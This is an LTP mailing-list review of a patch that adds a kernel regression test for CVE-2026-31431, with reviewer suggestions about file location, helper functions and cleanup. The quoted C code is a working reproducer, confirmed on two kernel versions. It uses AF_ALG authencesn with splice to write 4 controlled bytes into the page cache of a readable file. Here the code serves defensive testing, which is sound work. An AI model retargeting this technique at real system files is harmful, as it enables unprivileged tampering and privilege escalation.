[LTP] [PATCH] cve-2026-31431: Add page cache corruption reproducer

Martin Doucha mdoucha@suse.cz
Thu Apr 30 14:15:01 CEST 2026


Hi,
nice work. I've tested the reproducer on kernels v4.12 and v6.12 and I 
can confirm that it works. I have a few ideas for further improvement below.

First of all, I'd recommend moving the test to 
testcases/kernel/crypto/af_alg08.c and adding it to the crypto runfile 
as well.

On 4/30/26 12:17, Andrea Cervesato wrote:
> From: Andrea Cervesato <andrea.cervesato@suse.com>
> 
> A logic bug in authencesn allows an unprivileged user to corrupt
> 4 bytes of page cache via AF_ALG + splice. The test writes known
> data to a file, attempts corruption through the AEAD scratch-write
> path, and verifies whether the file content was modified.
> 
> Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
> ---
>   runtest/cve                    |   1 +
>   testcases/cve/.gitignore       |   1 +
>   testcases/cve/cve-2026-31431.c | 172 +++++++++++++++++++++++++++++++++++++++++
>   3 files changed, 174 insertions(+)
> 
> diff --git a/runtest/cve b/runtest/cve
> index c3ecd74dd9f837924b810b7b431ebb911d809966..499cbb3bc4170453560c329133e2c52b5a3b8c5c 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -93,3 +93,4 @@ cve-2022-0185 fsconfig03
>   cve-2022-4378 cve-2022-4378
>   cve-2025-38236 cve-2025-38236
>   cve-2025-21756 cve-2025-21756
> +cve-2026-31431 cve-2026-31431
> diff --git a/testcases/cve/.gitignore b/testcases/cve/.gitignore
> index dc1dad5b0d0d02a3ab57e72516c33ee7949c8431..f8e2b7a7d0a6c0c32f8908ae9974ead6a57f358b 100644
> --- a/testcases/cve/.gitignore
> +++ b/testcases/cve/.gitignore
> @@ -15,3 +15,4 @@ icmp_rate_limit01
>   tcindex01
>   cve-2025-38236
>   cve-2025-21756
> +cve-2026-31431
> diff --git a/testcases/cve/cve-2026-31431.c b/testcases/cve/cve-2026-31431.c
> new file mode 100644
> index 0000000000000000000000000000000000000000..b762096c1ecb940267ab2a337130939763f75452
> --- /dev/null
> +++ b/testcases/cve/cve-2026-31431.c
> @@ -0,0 +1,172 @@
> +// SPDX-License-Identifier: GPL-2.0-or-later
> +/*
> + * Copyright (C) 2026 SUSE LLC Andrea Cervesato <andrea.cervesato@suse.com>
> + */
> +
> +/*\
> + * Test for CVE-2026-31431 ("Copy Fail") fixed in kernel v7.0:
> + * a664bf3d603d ("crypto: algif_aead - Separate src from dst")
> + *
> + * A logic bug in authencesn, the kernel's AEAD wrapper for IPsec Extended
> + * Sequence Numbers, allows an unprivileged user to write 4 controlled bytes
> + * into the page cache of any readable file. During AEAD decryption,
> + * authencesn uses the destination scatterlist as scratch space for ESN byte
> + * rearrangement. When data is spliced from a file into an AF_ALG socket, the
> + * 2017 in-place optimization (72548b093ee3) places page cache pages into the
> + * writable destination scatterlist. authencesn's scratch write then corrupts
> + * those pages.
> + *
> + * The test creates a file with known data, attempts page cache corruption via
> + * the AF_ALG + splice technique, and verifies whether the file content was
> + * modified.
> + *
> + * Reproducer based on:
> + * https://github.com/theori-io/copy-fail-CVE-2026-31431
> + */
> +
> +#include "tst_test.h"
> +#include "tst_af_alg.h"
> +#include "lapi/socket.h"
> +#include "lapi/splice.h"
> +
> +#define TESTFILE "copy_fail"
> +#define OVERWRITE_SIZE 4
> +#define AEAD_AUTHSIZE 4
> +#define AEAD_ASSOCLEN 8
> +#define AES_IV_SIZE 16
> +#define SPI_SIZE 4
> +
> +static const uint8_t original[OVERWRITE_SIZE] = { 'X', 'X', 'X', 'X' };
> +static const uint8_t payload[OVERWRITE_SIZE] = { 'P', 'W', 'N', 'D' };
> +
> +/*
> + * authenc key format: struct rtattr header (8 bytes) +
> + * HMAC-SHA256 key (16 bytes) + AES-128 key (16 bytes)
> + */
> +static const uint8_t authenc_key[] = {
> +	0x08, 0x00, 0x01, 0x00,
> +	0x00, 0x00, 0x00, 0x10,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
> +};
> +
> +static void try_corrupt(int fd)
> +{
> +	int algfd, reqfd, pipefd[2];
> +	loff_t off_in = 0;
> +	uint8_t aad[AEAD_ASSOCLEN];
> +	uint8_t iv[AES_IV_SIZE] = { 0 };
> +	struct af_alg_iv *alg_iv;
> +	struct cmsghdr *cmsg;
> +	char recvbuf[AEAD_ASSOCLEN];
> +
> +	/* AAD[0..3] = SPI (don't care), AAD[4..7] = ESN scratch-write zone */
> +	memset(aad, 'A', SPI_SIZE);
> +	memcpy(aad + SPI_SIZE, payload, OVERWRITE_SIZE);
> +
> +	algfd = tst_alg_setup("aead", "authencesn(hmac(sha256),cbc(aes))",
> +			      authenc_key, sizeof(authenc_key));
> +	SAFE_SETSOCKOPT(algfd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL,
> +			AEAD_AUTHSIZE);
> +
> +	reqfd = tst_alg_accept(algfd);
> +
> +	struct iovec iov = {
> +		.iov_base = aad,
> +		.iov_len = sizeof(aad),
> +	};
> +
> +	uint8_t cbuf[CMSG_SPACE(sizeof(uint32_t)) +
> +		     CMSG_SPACE(sizeof(struct af_alg_iv) + AES_IV_SIZE) +
> +		     CMSG_SPACE(sizeof(uint32_t))];
> +
> +	memset(cbuf, 0, sizeof(cbuf));
> +
> +	struct msghdr msg = {
> +		.msg_iov = &iov,
> +		.msg_iovlen = 1,
> +		.msg_control = cbuf,
> +		.msg_controllen = sizeof(cbuf),
> +	};
> +
> +	cmsg = CMSG_FIRSTHDR(&msg);
> +	cmsg->cmsg_level = SOL_ALG;
> +	cmsg->cmsg_type = ALG_SET_OP;
> +	cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
> +	*(uint32_t *)CMSG_DATA(cmsg) = ALG_OP_DECRYPT;
> +
> +	cmsg = CMSG_NXTHDR(&msg, cmsg);
> +	cmsg->cmsg_level = SOL_ALG;
> +	cmsg->cmsg_type = ALG_SET_IV;
> +	cmsg->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + AES_IV_SIZE);
> +	alg_iv = (struct af_alg_iv *)CMSG_DATA(cmsg);
> +	alg_iv->ivlen = AES_IV_SIZE;
> +	memcpy(alg_iv->iv, iv, AES_IV_SIZE);
> +
> +	cmsg = CMSG_NXTHDR(&msg, cmsg);
> +	cmsg->cmsg_level = SOL_ALG;
> +	cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
> +	cmsg->cmsg_len = CMSG_LEN(sizeof(uint32_t));
> +	*(uint32_t *)CMSG_DATA(cmsg) = AEAD_ASSOCLEN;
> +
> +	SAFE_SENDMSG(sizeof(aad), reqfd, &msg, MSG_MORE);

The entire setup between tst_alg_accept() and here could be replaced 
with a single call to tst_alg_sendmsg() + filling out the simple params 
structure. But you'll have to add a new parameter for sendmsg() flags so 
that you can pass MSG_MORE. The function is currently called only from 
af_alg02.

> +
> +	SAFE_PIPE(pipefd);
> +
> +	TEST(splice(fd, &off_in, pipefd[1], NULL, OVERWRITE_SIZE, 0));
> +	if (TST_RET < 0)
> +		tst_brk(TBROK | TTERRNO, "splice(file -> pipe)");
> +
> +	TEST(splice(pipefd[0], NULL, reqfd, NULL, OVERWRITE_SIZE, 0));
> +	if (TST_RET < 0)
> +		tst_brk(TBROK | TTERRNO, "splice(pipe -> AF_ALG)");
> +
> +	/* Expected to fail (invalid ciphertext); triggers the scratch write */
> +	TST_EXP_FAIL_SILENT(recv(reqfd, recvbuf, sizeof(recvbuf), 0), EBADMSG);
> +
> +	SAFE_CLOSE(pipefd[0]);
> +	SAFE_CLOSE(pipefd[1]);
> +	SAFE_CLOSE(reqfd);
> +	SAFE_CLOSE(algfd);

It'd be better to make the file descriptor variables global and close 
them also in cleanup(), in case one of the safe commands fails.

> +}
> +
> +static void run(void)
> +{
> +	int file_fd;
> +	uint8_t readback[OVERWRITE_SIZE];
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	try_corrupt(file_fd);
> +	SAFE_CLOSE(file_fd);
> +
> +	file_fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	SAFE_READ(1, file_fd, readback, sizeof(readback));
> +	SAFE_CLOSE(file_fd);
> +
> +	if (memcmp(readback, original, OVERWRITE_SIZE) != 0)
> +		tst_res(TFAIL, "Page cache was corrupted via AF_ALG splice");
> +	else
> +		tst_res(TPASS, "Page cache was not corrupted");
> +}
> +
> +static void setup(void)
> +{
> +	int fd;
> +
> +	fd = SAFE_OPEN(TESTFILE, O_WRONLY | O_CREAT | O_TRUNC, 0644);

Creating the file with access mode 0444 (read-only) would be even better.

> +	SAFE_WRITE(SAFE_WRITE_ALL, fd, original, OVERWRITE_SIZE);
> +	SAFE_CLOSE(fd);
> +}
> +
> +static struct tst_test test = {
> +	.test_all = run,
> +	.setup = setup,
> +	.needs_tmpdir = 1,
> +	.tags = (const struct tst_tag[]) {
> +		{"linux-git", "a664bf3d603d"},
> +		{"CVE", "2026-31431"},
> +		{}
> +	},
> +};
> 
> ---
> base-commit: 69b8169310425b8c5abd01d3fdb46f6d939e8a66
> change-id: 20260430-cve-2026-31431-eda4297d56bc
> 
> Best regards,


-- 
Martin Doucha   mdoucha@suse.cz
SW Quality Engineer
SUSE LINUX, s.r.o.
CORSO IIa
Krizikova 148/34
186 00 Prague 8
Czech Republic


More information about the ltp mailing list